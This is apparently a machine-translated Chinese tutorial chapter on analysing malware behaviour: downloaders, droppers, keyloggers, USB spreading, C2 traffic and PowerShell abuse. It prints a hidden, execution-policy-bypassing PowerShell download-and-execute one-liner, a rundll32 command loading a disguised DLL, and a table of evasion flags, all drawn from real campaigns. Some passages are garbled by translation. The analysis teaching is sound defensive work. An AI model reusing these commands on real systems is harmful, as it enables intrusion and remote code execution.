恶意样本分析-8-恶意软件的功能和持久化

7. 恶意软件的功能和持久化

恶意软件可以进行各种操作,它可以包括各种功能。了解一个恶意软件所做的事情和它所表现出来的行为,对于理解恶意二进制文件的性质和目的至关重要。在过去的几章中,你学到了进行恶意软件分析所需的技能和工具。在本章和接下来的几章中,我们将主要侧重于了解不同的恶意软件行为、它们的特点和能力。

1. 恶意软件的功能

现在,你应该对恶意软件如何利用API函数与系统互动有了了解。在本节中,您将了解恶意软件如何利用各种API函数来实现某些功能。关于在哪里可以找到关于特定API的帮助以及如何阅读API文档的信息,请参阅第5章 “使用IDA进行反汇编 “中的第3节 “反汇编Windows API”。

1.1 下载器

在恶意软件分析中,你会遇到的最简单的恶意软件类型是下载器。下载器是一个从互联网下载另一个恶意软件组件并在系统上执行的程序。它通过调用UrlDownloadToFile()API,将文件下载到磁盘上。一旦下载,它就会使用ShellExecute()、WinExec()或CreateProcess()API调用来执行下载的组件。通常情况下,你会发现下载器被用作攻击壳代码的一部分。

下面的截图显示了一个32位的恶意软件下载器使用UrlDownloadToFileA()和ShellExecuteA()来下载和执行一个恶意软件二进制。为了确定正在下载恶意软件二进制文件的URL,在调用UrlDownloadToFileA()时设置了一个断点。运行代码后,断点被触发,如以下截图所示。UrlDownloadToFileA()的第二个参数显示将下载恶意软件可执行文件(wowreg32.exe)的URL,第三个参数指定下载的可执行文件在磁盘上的位置。在这种情况下,下载器将下载的可执行文件保存在%TEMP%目录下,称为temp.exe。

image-20220308145245581 image-20220308145245581

将恶意软件的可执行文件下载到%TEMP%目录后,下载者通过调用ShellExecuteA()API来执行它,如下面的截图所示。另外,恶意软件也可以使用WinExec()或CreateProcess()API来执行下载的文件。

image-20220308145547808 image-20220308145547808

在调试恶意二进制文件时,最好是运行监控工具 (如Wireshark)和模拟工具(如InetSim),这样你就可以 观察恶意软件的行动并捕获其产生的流量。

1.2 释放器

Dropper是一个将额外的恶意软件组件嵌入自身的程序。当执行时,下载器会提取恶意软件组件并将其下载到磁盘。下拉程序 通常在资源部分嵌入额外的二进制文件。为了提取嵌入的 为了提取嵌入的可执行文件,投放器使用FindResource(), LoadResource(), LockResource()和 SizeOfResource()的API调用。在下面的截图中,Resource Hacker工具(在第2章静态分析中涉及到 第2章,静态分析)显示了一个PE文件在恶意软件样本的资源部分的存在。 恶意软件样本的资源部分存在一个PE文件。在这种情况下,资源类型是一个DLL。

image-20220308145720876 image-20220308145720876

在x64dbg中加载恶意二进制文件并查看对API调用的引用(在前一章中涉及),显示对资源相关API调用的引用。这是恶意软件从资源部分提取内容的一个迹象。在这一点上,你可以在调用FindResourceA()API的地址上设置一个断点,如图所示。

image-20220308145747138 image-20220308145747138

在下面的截图中,运行程序后,由于上一步设置的断点,执行在FindResourceA()API处暂停。传递给FindResourceA()API的第二和第三个参数告诉你,该恶意软件正试图找到DLL/101资源,如下所示。

image-20220315091324085 image-20220315091324085

在执行FindResourceA()后,其返回值(存储在EAX中),即指定资源信息块的句柄,被作为第二个参数传递给LoadResource()API。LoadResource()检索与该资源相关的数据的句柄。LoadResource()的返回值包含检索到的句柄,然后作为参数传递给LockResource()API,后者获得实际资源的指针。在下面的截图中,调用LockResource()后,执行立即暂停。检查转储窗口中的返回值(存储在EAX中),显示了从资源部分检索到的PE可执行内容。

image-20220315091955415 image-20220315091955415

一旦它检索到资源,恶意软件使用SizeofResource()API确定资源(PE文件)的大小。接下来,恶意软件使用CreateFileA在磁盘上投放了一个DLL,如下所示。

image-20220315092112145 image-20220315092112145

然后使用 WriteFile() API 将提取的 PE 内容写入 DLL。在下面的截图中,第一个参数0x5c是DLL的句柄,第二个参数0x00404060是检索到的资源(PE文件)的地址,第三个参数0x1c00是资源的大小,这是用调用SizeOfResource()确定的。

image-20220315092139375 image-20220315092139375

1.2.1 逆向64位dropper释放器

下面是一个64位恶意软件投放器(称为黑客之门)的例子。如果你还不熟悉调试64位样本,请参考前一章的2.7节,调试64位恶意软件。该恶意软件使用相同的API函数集来寻找和提取资源;不同的是,前几个参数被放置在寄存器中,而不是推到堆栈中(因为它是一个64位二进制文件)。恶意软件首先使用FindResourceW()API找到BIN/100资源,如下所示。

image-20220315093013220 image-20220315093013220

然后,恶意软件使用LoadResource()检索与资源相关的数据的句柄,然后它使用LockResource()获得实际资源的指针。在下面的截图中,检查LockResource()API的返回值(RAX)显示了提取的资源。在这种情况下,64位恶意软件投放者从其资源部分提取DLL,随后它将DLL投放到磁盘上。

image-20220315093035998 image-20220315093035998

1.3 键盘记录器

键盘记录器是一种旨在拦截和记录键盘点击的程序。攻击者在其恶意程序中使用键盘记录功能来窃取通过键盘输入的机密信息(如用户名、密码、信用卡信息等)。在本节中,我们将主要关注用户模式的软件键盘记录器。攻击者可以使用各种技术记录击键。最常见的记录击键的方法是使用记录的Windows API函数。(a) 检查键的状态(使用 (a) 检查钥匙状态(使用GetAsyncKeyState() API)和(b) 安装钩子(使用SetWindowHookEX() API)。

1.3.1 使用GetAsyncKeyState()的键盘记录器

这种技术涉及查询键盘上每个键的状态。为了做到这一点,键盘记录器利用GetAsyncKeyState()API函数来确定按键是否被按下。从GetAsyncKeyState()的返回值,可以确定在调用该函数时,该键是向上还是向下,以及该键是否在之前调用GetAsyncKeyState()后被按下。下面是GetAsyncKeyState()API的函数原型。

SHORT GetAsyncKeyState(int vKey)。

GetAsynKeyState()接受一个整数参数vKey,指定256个可能的虚拟键代码之一。为了确定键盘上单个按键的状态。GetAsyncKeyState() API可以通过传递与所需键相关的虚拟键代码作为参数来调用。为了确定键盘上所有按键的状态,一个键盘记录器在一个循环中不断轮询GetAsyncKeyState()API(通过传递每个虚拟按键代码作为参数),以确定哪个按键被按下。

你可以在MSDN网站(https://msdn.microsoft.com/en-us/ library/windows/desktop/dd375731(v=vs.85).aspx)上找到与虚拟键代码相关的符号常量名称。

下面的截图显示了一个键盘记录器的代码片段。该键盘记录器通过调用地址为0x401441的GetKeyState()API来确定Shift键的状态(如果它是向上或向下)。在地址0x401459,键盘记录器调用GetAsyncKeyState(),这是一个循环的一部分,在循环的每个迭代中,虚拟键代码(从键代码数组中读取)被作为参数传递,以确定每个键的状态。在地址0x401463处,一个测试操作(与AND操作相同)被执行。 在地址0x401463,对GetAsyncKeyState()的返回值进行测试操作(与AND操作相同),以确定最重要的位是否被设置。如果最重要的位被设置了,这就表明按键被按下了。如果一个特定的键被按下,那么键盘记录器就会调用地址为0x40146c的GetKeyState()来检查Caps Lock键的状态(以检查它是否被打开)。使用这种技术,恶意软件可以确定在键盘上输入的是大写字母、小写字母、数字还是特殊字符。

image-20220315093439560 image-20220315093439560

下面的截图显示了该循环的结束。从代码中可以看出,该恶意软件在0x5c(92)键代码中进行迭代。在这种情况下,var_4作为索引进入要检查的键代码数组,它在循环结束时被递增,只要var_4的值小于0x5c(92),循环就会继续。

image-20220315102442124 image-20220315102442124

1.3.2 使用SetWindowsHookEx()的键盘记录器

另一种常见的键盘记录器技术是,它安装一个函数(称为钩子程序)来监测键盘事件(如按键)。在这种方法中,恶意程序注册了一个函数(钩子程序),当键盘事件被触发时,该函数将被通知,该函数可以将按键记录到一个文件或通过网络发送。恶意程序使用SetWindowsHookEx()API来指定要监控的事件类型(如键盘、鼠标等)以及当特定类型的事件发生时应该被通知的钩子程序。钩子程序可以包含在一个DLL或当前模块中。在下面的截图中,恶意软件样本通过调用SetWindowsHookEx()和WH_KEYBOARD_LL参数(恶意软件也可能使用WH_KEYBOARD)为低级别的键盘事件注册了一个钩子过程。第二个参数 第二个参数,offset hook_proc,是挂钩过程的地址。当键盘事件发生时,这个函数将被通知。检查这个函数可以了解到键盘记录器是如何和在哪里记录击键的。第三个参数是包含钩子程序的模块(如DLL或当前模块)的句柄。第四个参数,0,指定钩子程序将与同一桌面上的所有现有线程相关。

image-20220315102555260 image-20220315102555260

1.4 通过可移动媒体复制恶意软件

攻击者可以通过感染可移动媒体(如USB驱动器)来传播其恶意程序。攻击者可以利用自动运行功能(或利用自动运行中的漏洞),在被感染的媒体被插入时自动感染其他系统。这种技术通常涉及复制文件或修改存储在可移动媒体上的现有文件。一旦恶意软件将恶意文件复制到可移动媒体上,它可以使用各种技巧使该文件看起来像一个合法文件,以欺骗用户在USB插入不同系统时执行该文件。感染可移动媒体的技术使攻击者能够在断开连接的网络或有空气阻隔的网络上传播他们的恶意软件。

在下面的例子中,恶意软件调用GetLogicalDriveStringsA()来获取计算机上有效驱动器的详细信息。调用GetLogicDriveStringsA()后,可用驱动器的列表被存储在输出缓冲区RootPathName中,该缓冲区被作为第二个参数传递给GetLogicalDriveStringsA()。下面的截图显示了调用GetLogicDriveStringsA()后的三个驱动器:C:\、D:\和E:\,其中E:\是USB驱动器。一旦它确定了驱动器的列表,它就会遍历每个驱动器以确定它是否是一个可移动的驱动器。它通过比较GetDriveTypeA()的返回值和DRIVE_REMOVABLE(常量值2)来确定。

image-20220315130447778 image-20220315130447778

如果检测到可移动媒体,恶意软件会使用CopyFileA()API将自己(可执行文件)复制到可移动媒体(USB驱动器)。为了隐藏可移动媒体上的文件,它调用SetFileAttributesA()API并传递给它一个常量值FILE_ATTRIBUTE_HIDDEN。

image-20220315130509691 image-20220315130509691

将恶意文件复制到可移动媒体后,攻击者可以等待用户双击复制的文件,或者可以利用自动运行功能。在Windows Vista之前,恶意软件除了复制可执行文件外,还将包含Autorun命令的autorun.inf文件复制到可移动媒体上。这些自动运行命令允许攻击者在媒体被插入系统时自动启动程序(无需用户干预)。从Windows Vista开始,通过Autorun执行恶意二进制文件在默认情况下是不可能的,所以攻击者必须使用不同的技术(如修改注册表项)或利用一个漏洞,这可能允许恶意二进制文件自动执行。

一些恶意软件程序依靠欺骗用户来执行恶意二进制文件,而不是利用自动运行功能。安朵美达就是这样一个恶意软件的例子。为了证明安朵美达使用的伎俩,请看下面的截图,它显示了将2GB的干净USB驱动器插入感染了安朵美达的系统之前的内容。USB的根目录包括一个名为test.txt的文件和一个名为testdir的文件夹。

image-20220315130539679 image-20220315130539679

一旦干净的USB驱动器被插入被安朵美达感染的计算机,它就会执行以下步骤来感染USB驱动器。

  1. 它通过调用GetLogicalDriveStrings()确定系统中所有驱动器的列表。
  2. 恶意软件迭代每个驱动器,并使用GetDriveType()API确定任何驱动器是否为可移动媒体。
  3. 一旦找到可移动媒体,它就调用CreateDirectoryW()API来创建一个文件夹(目录),并传递一个扩展ASCII码xA0(á)作为第一个参数(目录名称)。这就在可移动媒体中创建了一个名为E:á的文件夹,由于使用了扩展ASCII码,该文件夹在显示时没有名称。下面的屏幕截图显示了创建 E:\á目录的创建。从现在开始,我将把这个由恶意软件创建的目录称为未命名的目录(文件夹)。

image-20220315130634765 image-20220315130634765

下面的屏幕截图显示了未命名的文件夹。这是在上一步骤中创建的具有xA0扩展ascii代码的文件夹。

image-20220315130648123 image-20220315130648123

  1. 然后,它通过调用SetFileAttributesW()API,将这个未命名的文件夹的属性设置为隐藏,使其成为受保护的操作系统文件夹。这就隐藏了可移动媒体上的文件夹。

image-20220315130706150 image-20220315130706150

  1. 恶意软件从注册表中解密了可执行内容。然后它在未命名的文件夹中创建一个文件。创建的文件名有 惯例.1,并将PE可执行内容(恶意DLL)写入该文件(使用CreateFile()和WriteFile()API)。结果,在未命名的文件夹内创建了一个名字为.1的DLL,如图所示。

image-20220315130727283 image-20220315130727283

  1. 然后,该恶意软件在未命名的文件夹内创建一个desktop.ini文件,并写入图标信息,为未命名的文件夹分配一个自定义图标。desktop.ini的内容显示在这里。

image-20220315130800524 image-20220315130800524

下面的截图显示了未命名的文件夹的图标,它已被改变为驱动器图标。另外,请注意,未命名的文件夹现在是隐藏的。换句话说,这个文件夹只有在文件夹选项被配置为显示隐藏的和受保护的操作系统文件时才会显示出来。

image-20220315130817788 image-20220315130817788

  1. 然后,恶意软件调用MoveFile()API,将所有的文件和文件夹(在这种情况下,test.txt和testdir)从根目录移动到未命名的隐藏文件夹。在复制了用户的文件和文件夹后,USB驱动器的根目录看起来就像这里所示。

image-20220315130919807 image-20220315130919807

  1. 然后,该恶意软件创建了一个指向rundll32.exe的快捷链接,而rundll32.exe的参数是.1文件(这就是之前丢在未命名文件夹中的DLL)。下面的截图显示了快捷方式文件的外观,以及显示通过rundll32.exe加载恶意DLL的方式的属性。换句话说,当快捷方式文件被双击时,恶意DLL会通过rundll32.exe加载,从而执行恶意代码。

image-20220315130943690 image-20220315130943690

利用上述操作,安朵美达玩了一个心理把戏。现在,让我们了解一下,当用户在一个干净的系统上插入被感染的USB驱动器时会发生什么。下面的截图显示了被感染的USB驱动器的内容,它显示给正常用户(默认的文件夹选项)。请注意,用户看不到未命名的文件夹,用户的文件/文件夹(在我们的例子中,test.txt和testdir)在根驱动器中丢失。该恶意软件正在欺骗用户,使其相信该快捷方式文件是一个驱动器。

image-20220315131008061 image-20220315131008061

当用户发现USB根驱动器中的所有重要文件和文件夹丢失时,用户极有可能双击该快捷方式文件(认为它是一个驱动器)来寻找丢失的文件。由于双击该快捷方式,rundll32.exe将从未命名的隐藏文件夹(用户不可见)中加载恶意DLL并感染系统。

1.5 恶意软件指挥与控制(C2)

恶意软件的命令和控制(也称为C&C或C2)是指攻击者如何沟通和展示对受感染系统的控制。感染系统后,大多数恶意软件与攻击者控制的服务器(C2服务器)进行通信,以接受命令、下载附加组件或渗出信息。攻击者使用不同的技术和协议进行指挥和控制。传统上,互联网中继聊天(IRC)多年来一直是最常见的C2渠道,但由于IRC在组织中并不常用,所以可以很容易地检测到这种流量。今天,恶意软件用于C2通信的最常见协议是HTTP/HTTPS。使用HTTP/HTTPS允许对手绕过防火墙/基于网络的检测系统,并与合法的网络流量混合在一起。恶意软件有时可能使用P2P等协议进行C2通信。一些恶意软件还使用DNS隧道(https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/)进行C2通信。

1.5.1 HTTP指挥和控制

在本节中,你将了解对手如何使用HTTP与恶意程序进行通信。下面是APT1集团使用的一个恶意软件样本(WEBC2-DIV后门)的例子(https://www.fireeye.com/content/dam/fireeye- www/services/pdfs/mandiant-apt1-report.pdf)。恶意的二进制文件利用了 InternetOpen()、InternetOpenUrl()和InternetReadFile()等API函数,从攻击者控制的C2服务器检索网页。它期望网页包含特殊的HTML标签;然后,后门对标签内的数据进行解密,并将其解释为一个命令。以下步骤描述了WEB2- DIV后门与C2进行通信以接收命令的方式。

  1. 首先,恶意软件调用InternetOpenA()API来初始化与互联网的连接。第一个参数指定了恶意软件将用于HTTP通信的用户代理。这个后门通过连接受感染系统的主机名(它通过调用GetComputerName()API获得)来生成用户代理。 它通过调用GetComputerName()API获得)与一个硬编码的字符串。每当你遇到二进制文件中使用的硬编码的User-Agent字符串,它可以成为一个优秀的网络指标。

image-20220315131134599 image-20220315131134599

  1. 然后它调用InternetOpenUrlA()连接到一个URL。你可以通过检查第二个参数来确定它所连接的URL的名称,如下所示。

image-20220315131239213 image-20220315131239213

  1. 下面的截图显示了调用InternetOpenUrlA()后产生的网络流量。 调用InternetOpenUrlA()后产生的网络流量。在这个阶段,恶意软件与C2服务器进行通信以读取HTML内容。

image-20220315131258571 image-20220315131258571

  1. 然后它使用InternetReadFile()API调用检索网页的内容。这个函数的第二个参数指定了接收数据的缓冲区的指针。下面的截图显示了调用InternetReadFile()后检索到的HTML内容。

image-20220315131321903 image-20220315131321903

  1. 从检索的HTML内容中,后门寻找 HTML标签内的特定内容。执行检查div标签内的内容的代码显示在以下截图中。如果所需的内容不存在,该恶意软件不做任何事情,并继续定期检查内容。

image-20220315131349857 image-20220315131349857

具体地说,恶意软件希望将内容以特定格式包含在div标签中,如下面的代码所示。如果在检索的HTML内容中发现以下格式,它将提取加密字符串(KxAikuzeG:F6PXR3vFqffP:H),该字符串包含在之间:

<div safe: KxAikuzeG:F6PXR3vFqffP:H balance></div>
  1. 然后将提取的加密字符串作为参数传给解密函数,该函数使用自定义的加密算法对字符串进行解密。你将在第9章 “恶意软件混淆技术 “中了解更多关于恶意软件的加密技术。下面的截图显示了调用解密函数后的解密字符串。解密字符串后,后门检查解密字符串的第一个字符是否为J,如果满足这个条件,那么恶意软件就会调用sleep()API来睡眠一段特定时间。简而言之,解密字符串的第一个字符作为一个命令代码,它告诉后门执行睡眠操作。

image-20220315131523676 image-20220315131523676

  1. 如果被解密的字符串的第一个字符是D,那么它将检查第二个字符是否是O。 第二个字符是o,如图所示。如果满足这个条件,那么它将提取从第三个字符开始的URL,并使用UrlDownloadToFile()从该URL下载一个可执行文件。然后它使用CreateProcess()API来执行下载的文件。在这种情况下,前两个字符Do作为命令代码,告诉后门下载并执行该文件。

image-20220315131546718 image-20220315131546718

关于APT1 WEBC2-DIV后门的全面分析,请查看作者的Cysinfo会议演讲和视频演示(https://cysinfo.com/8th- meetup-understanding-apt1-malware-techniques-using-malware- analysis-reverse-engineering/)。

恶意软件也可能使用API,如 InternetOpen()、InternetConnect()、HttpOpenRequest()、HttpSendRequest()和InternetReadFile()等API来进行HTTP通信。你可以在这里找到一个此类恶意软件的分析和逆向工程:https://cysinfo.com/sx-2nd-meetup-reversing- and-decrypting-thecommunications-of-apt-malware/。

除了使用HTTP/HTTPS,攻击者还可能滥用社交网络(https:// threatpost.com/attackers-moving-social-networks-command-and control-071910/ 74225/)、Pastebin等合法网站(https://cysinfo.com/uri-terror-attack-spear- phishing-emails-targeting-indian-embassies-and-indian-mea/)和Dropbox等云存储服务(https://www.fireeye.com/blog/threat-research/2015/11/ china-based-threat.html)来进行恶意软件指挥和控制。这些技术使得监测和检测恶意通信变得困难,而且它们允许攻击者绕过基于网络的安全控制。

1.5.2 定制指挥和控制(定制的cc)

攻击者可能使用自定义协议或通过非标准端口进行通信,以隐藏其命令和控制流量。下面是这样一个恶意软件样本的例子(HEARTBEAT RAT),其细节记录在白皮书中(http://www. trendmicro.it/media/wp/the-heartbeat-apt-campaign-whitepaper-en.pdf)。这个恶意软件使用自定义协议(非HTTP)在80端口进行加密通信,并从C2服务器上获取命令。它利用了 它利用Socket()、Connect()、Send()和Recv()API调用,与C2进行通信并接收命令。

  1. 首先,该恶意软件调用WSAStartup()API来初始化Windows套接字系统。然后,它调用Socket()API来创建一个套接字,这在下面的截图中显示。该套接字API接受三个参数。第一个参数 第一个参数,AF_INET,指定地址族,即IPV4。第二个参数是套接字类型,(SOCK_STREAM),第三个参数是 第三个参数,IPPROTO_TCP,指定正在使用的协议(本例中为TCP)。

image-20220315131741477 image-20220315131741477

  1. 在建立与套接字的连接之前,恶意软件使用GetHostByName()API解析了C2域名的地址。这是有道理的,因为远程地址和端口需要提供给Connect()API来建立连接。GetHostByName()的返回值(EAX)是一个指向名为hostent的结构的指针,该结构包含解析的IP地址。

image-20220315131811585 image-20220315131811585

  1. 它从hostent结构中读取解析后的IP地址,并将其传递给 inet_ntoa() API,该API将IP地址转换成ASCII字符串,如192.168.1.100。然后调用inet_addr(),它将IP地址字符串(如192.168.1.100)转换为可以被Connect()API使用。然后调用Connect() API来建立与套接字的连接。

image-20220315131832719 image-20220315131832719

  1. 然后,恶意软件收集系统信息,使用XOR加密算法对其进行加密(加密技术将在第9章介绍),并使用Send()API调用将其发送到C2。发送()API的第二个参数显示了将被发送到C2服务器的加密内容。

image-20220315131859069 image-20220315131859069

下面的截图显示了调用Send()API后捕获的加密网络流量。

image-20220315131917498 image-20220315131917498

  1. 然后,恶意软件调用CreateThread()来启动一个新线程。CreateThread的第三个参数指定了线程的起始地址(起始函数),因此在调用CreateThread()后,执行开始于起始地址。在这种情况下,线程的起始地址是一个负责从C2中读取内容的函数。

image-20220315131934239 image-20220315131934239

使用Recv()API函数检索C2的内容。Recv()的第二个参数是一个缓冲区,其中存储了检索的内容。然后对检索到的内容进行解密,并根据从C2收到的命令,由恶意软件执行适当的行动。要了解这个恶意软件的所有功能以及它如何处理收到的数据,请参考作者的演讲和视频演示(https://cysinfo.com/session-11-part-2-dissecting-the heartbeat-apt-rat-features/)。

image-20220315132014597 image-20220315132014597

1.6 基于PowerShell的执行

为了逃避检测,恶意软件作者往往利用系统中已经存在的工具(如PowerShell),这使他们能够隐藏其恶意活动。PowerShell是一个基于.NET框架的管理引擎。这个引擎暴露了一系列被称为cmdlets的命令。该引擎被托管在一个应用程序和Windows操作系统中,该系统默认提供一个命令行界面(互动控制台)和一个GUI PowerShell ISE(集成脚本环境)。

PowerShell不是一种编程语言,但它允许你创建包含多个命令的有用脚本。你也可以打开PowerShell提示符并执行单个命令。PowerShell通常由系统管理员用于合法目的。然而,攻击者使用PowerShell来执行他们的恶意代码的情况也在增加。攻击者使用PowerShell的主要原因是,它提供了对所有主要操作系统功能的访问,而且留下的痕迹非常少,从而使检测更加困难。下面概述了攻击者如何在恶意软件攻击中利用PowerShell。

  • 在大多数情况下,Powershell被用来下载其他组件。它大多是通过含有文件(如.lnk、.wsf、JavaScript、VBScript或含有恶意宏的办公文件)的电子邮件附件传递,这些文件能够直接或间接执行PowerShell脚本。一旦攻击者欺骗用户打开恶意附件,那么恶意代码就会直接或间接调用PowerShell来下载额外的组件。
  • 它被用于横向移动,攻击者在远程计算机上执行代码,在网络内部传播
  • 攻击者使用PowerShell直接从内存动态加载和执行代码,而不访问文件系统。这使得攻击者可以隐身,并使取证分析更加困难。
  • 攻击者使用PowerShell来执行他们的混淆代码;这使得传统的安全工具很难发现它。

如果你是PowerShell的新手,你可以在以下链接中找到许多教程来开始使用PowerShell:https://social.technet. microsoft.com/wiki/contents/articles/4307.powershell for- 初学者.aspx

1.6.1 PowerShell命令基础知识

在深入研究恶意软件如何使用PowerShell的细节之前,我们先了解一下如何执行PowerShell命令。你可以使用交互式PowerShell控制台执行PowerShell命令;你可以使用Windows程序搜索功能或在命令提示符中输入powershell.exe来调出它。一旦进入交互式PowerShell,你就可以输入命令来执行它。在下面的例子中,Write- Host cmdlet把信息写到了控制台。cmdlet(如Write-Host)是一个用.NET框架语言编写的编译命令,其目的是小型的,并为单一目的服务。cmdlet遵循一个标准的动词-名词命名惯例。

PS C:\> Write-Host "Hello world" 
Hello world

一个cmdlet可以接受参数。参数以破折号开始,紧接着是参数名称和一个空格,然后是参数值。在下面的例子中,Get-Process cmdlet被用来显示关于explorer进程的信息。Get-Process cmdlet接受了一个参数,其名称为Name,其值为explorer。

PS C:\> Get-Process -Name explorer
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName 
------- ------ ----- ----- ----- ------ -- ----------- 
1613 86 36868 77380 ...35 10.00 3036 explorer

另外,你也可以使用参数快捷键来减少一些输入,上述命令也可以写成。

PS C:\> Get-Process -n explorer
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName 
------- ------ ----- ----- ----- ----- -- ----------- 
1629 87 36664 78504 ...40 10.14 3036 explorer

要获得更多关于cmdlet的信息(比如关于语法和参数的细节),你可以使用Get-Help cmdlet或help命令。如果你希望获得最新的信息,你可以使用这里显示的第二条命令,在线获得帮助。

PS C:\> Get-Help Get-Process
PS C:\> help Get-Process -online

在PowerShell中,变量可以用来存储数值。在下面的例子中,hello是一个前缀为$符号的变量。

PS C:\> $hello = "Hello World" 
PS C:\> Write-Host 
$hello Hello World

变量也可以保存PowerShell命令的结果,然后该变量可以用来代替命令,如下所示。

PS C:\> $processes = Get-Process
PS C:\> $processes | where-object {$_.ProcessName -eq 'explorer'} Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
1623 87 36708 78324 ...36 10.38 3036 explorer
1.6.2 PowerShell脚本与执行策略

PowerShell的功能允许你通过组合多个命令来创建脚本。PowerShell脚本的扩展名是.ps1。默认情况下,你将不被允许执行PowerShell脚本。这是由于PowerShell中默认的执行策略设置阻止了PowerShell脚本的执行。执行策略决定了执行PowerShell脚本的条件。默认情况下,执行策略被设置为 “受限”,这意味着PowerShell脚本(.ps1)不能被执行,但你仍然可以执行单个命令。例如,当Write-Host “Hello World “命令被保存为PowerShell脚本(hello.ps1)并执行时,你会得到以下信息,说明运行脚本被禁用。这是由于执行策略的设置。

PS C:\> .\hello.ps1
.\hello.ps1 : File C:\hello.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\hello.ps1
+ ~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess

执行策略不是一个安全功能,它只是一个防止用户意外执行脚本的控制手段。要显示当前的执行策略设置,你可以使用下面的命令。

PS C:\> Get-ExecutionPolicy 
Restricted

你可以使用Set-ExecutionPolicy命令来改变执行策略的设置(前提是你是以管理员身份执行该命令)。在下面的例子中,执行策略被设置为Bypass,这允许脚本不受任何限制的运行。如果你遇到一个恶意的PowerShell脚本,如果你想执行它以确定它的行为,这个设置对你的分析很有用。

PS C:\> Set-ExecutionPolicy Bypass 
PS C:\> .\hello.ps1
Hello World
1.6.2 分析PowerShell命令/脚本

与汇编代码相比,Powershell命令很容易理解,但在某些情况下(比如PowerShell命令被混淆了),你可能想运行PowerShell命令来了解它的工作原理。测试单个命令的最简单方法是在交互式PowerShell中执行它。如果你想执行一个包含多个命令的PowerShell脚本(.ps1),首先将执行策略设置改为Bypass或Unrestricted(如前所述),然后使用PowerShell控制台执行该脚本。记住要在一个隔离的环境中执行恶意的脚本。 在PowerShell提示符下运行脚本(.ps1)将一次性运行所有命令。如果你想控制执行,那么你可以使用PowerShell ISE(集成脚本环境)调试PowerShell脚本。你可以通过使用程序搜索功能调出PowerShell ISE,然后将PowerShell脚本加载到PowerShell ISE中,或者复制粘贴一个命令并使用其调试功能(如Step Into、Step Over、Step Out和Breakpoints),可以通过调试菜单访问。调试前,确保将执行策略设置为Bypass。

image-20220315132619143 image-20220315132619143

1.6.3 攻击者是如何使用PowerShell的

在了解了基本的PowerShell和使用什么工具进行分析后,现在让我们看看攻击者是如何使用PowerShell的。由于通过PowerShell控制台或双击执行PowerShell脚本(.ps1)的限制(这将在记事本中打开,而不是执行脚本),不太可能看到对手直接向受害者发送PowerShell脚本。攻击者必须首先欺骗用户执行恶意代码;这主要是通过发送含有.lnk、.wsf、javascript或恶意宏文件等文件的电子邮件附件来实现。一旦用户被骗打开附件文件,恶意代码就可以直接调用PowerShell(powerhell.exe),或通过cmd.exe、Wscript、Cscript等间接调用。在PowerShell被调用后,可以使用各种方法绕过执行策略。例如,为了绕过执行限制策略,攻击者可以使用恶意代码调用powershell.exe,并通过Bypass执行策略标志,如下图所示。即使用户不是管理员,这种技术也会起作用,它可以覆盖默认的执行限制策略并执行脚本。

image-20220315132655486 image-20220315132655486

以同样的方式,攻击者使用各种PowerShell命令行参数来绕过执行策略。下表概述了用于逃避检测和绕过本地限制的最常见的PowerShell参数。

命令行参数 描述
ExecutionPolicy Bypass (-Exec bypass) 忽略执行策略的限制,不加警告地运行脚本
WindowStyle 隐藏 (-W Hidden) 隐藏PowerShell窗口
NoProfile (-NoP) 忽略配置文件中的命令
EncodedCommand (-Enc) 执行以Base64编码的命令
NonInteractive (-NonI) 不向用户显示交互式提示
Command (-C) 执行单个命令
File (-F) 执行指定文件中的命令

除了使用PowerShell命令行参数,攻击者还在PowerShell脚本中使用cmdlet或.NET APIs。以下是最经常使用的命令和功能。

  • Invoke-Expression(IEX): 这个cmdlet评估或执行一个指定的字符串作为一个命令。
  • Invoke-Command: 这个cmdlet可以在本地或远程计算机上执行PowerShell命令。
  • Start-Process: 这个小程序从一个给定的文件路径启动一个进程
  • DownloadString: 这个方法来自System.Net.WebClient(WebClient类),从一个URL中下载资源为一个字符串
  • DownloadFile(): 该方法来自System.Net.WebClient(WebClient类),将资源从URL下载到本地文件。

下面是作者博文(https://cysinfo.com/cyber-attack-targeting-indian-navys- submarine-warship-manufacturer/)中提到的一个攻击中使用的PowerShell下载器的例子。在这种情况下,PowerShell命令通过cmd.exe被包含在微软Excel表格中的恶意宏调用,该表格是以电子邮件附件形式发送给受害者的。 PowerShell将下载的可执行文件作为doc6.exe丢在%TEMP%目录下。然后,它为被丢弃的可执行文件添加了一个注册表项,并调用eventvwr.exe,这是一种有趣的注册表劫持技术,允许doc6.exe被eventvwr.exe以高完整性级别执行。这种技术还默默地绕过了UAC(用户账户控制)。

image-20220315133333418 image-20220315133333418

以下是一个目标攻击的PowerShell命令(https://cysinfo.com/ uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/)。在这种情况下,PowerShell被恶意宏调用,而不是直接下载可执行文件,而是使用DownloadString方法从Pastebin链接下载base64内容。在下载了编码的内容后,它被解码并丢到磁盘上。

powershell -w hidden -ep bypass -nop -c "IEX ((New-ObjectNet.WebClient).DownloadString('http://pastebin.com/raw/[removed]'))"

在下面的例子中,在调用PowerShell之前,一个恶意软件投放者首先在%Temp%目录下写了一个扩展名为.bmp的DLL(heiqh.bmp),然后通过PowerShell启动rundll32.exe来加载DLL并执行DLL的导出函数dlgProc。

PowerShell cd $env:TEMP ;start-process rundll32.exe heiqh.bmp,dlgProc

关于恶意软件攻击中使用的不同PowerShell技术的更多信息,请参阅白皮书。在攻击中越来越多地使用PowerShell。 https://www.symantec.com/content/dam/symantec/docs/security- center/whit-papers/increased-use-of-powershell-in-attacks-16- en.pdf。攻击者利用各种混淆技术来增加分析难度。要了解攻击者如何使用PowerShell混淆技术,请观看Daniel Bohannon在Derbycon上的演讲。 Bohannon: https://www.youtube.com/watch?v=P1lkflnWb0I

2. 恶意软件的持久性方法

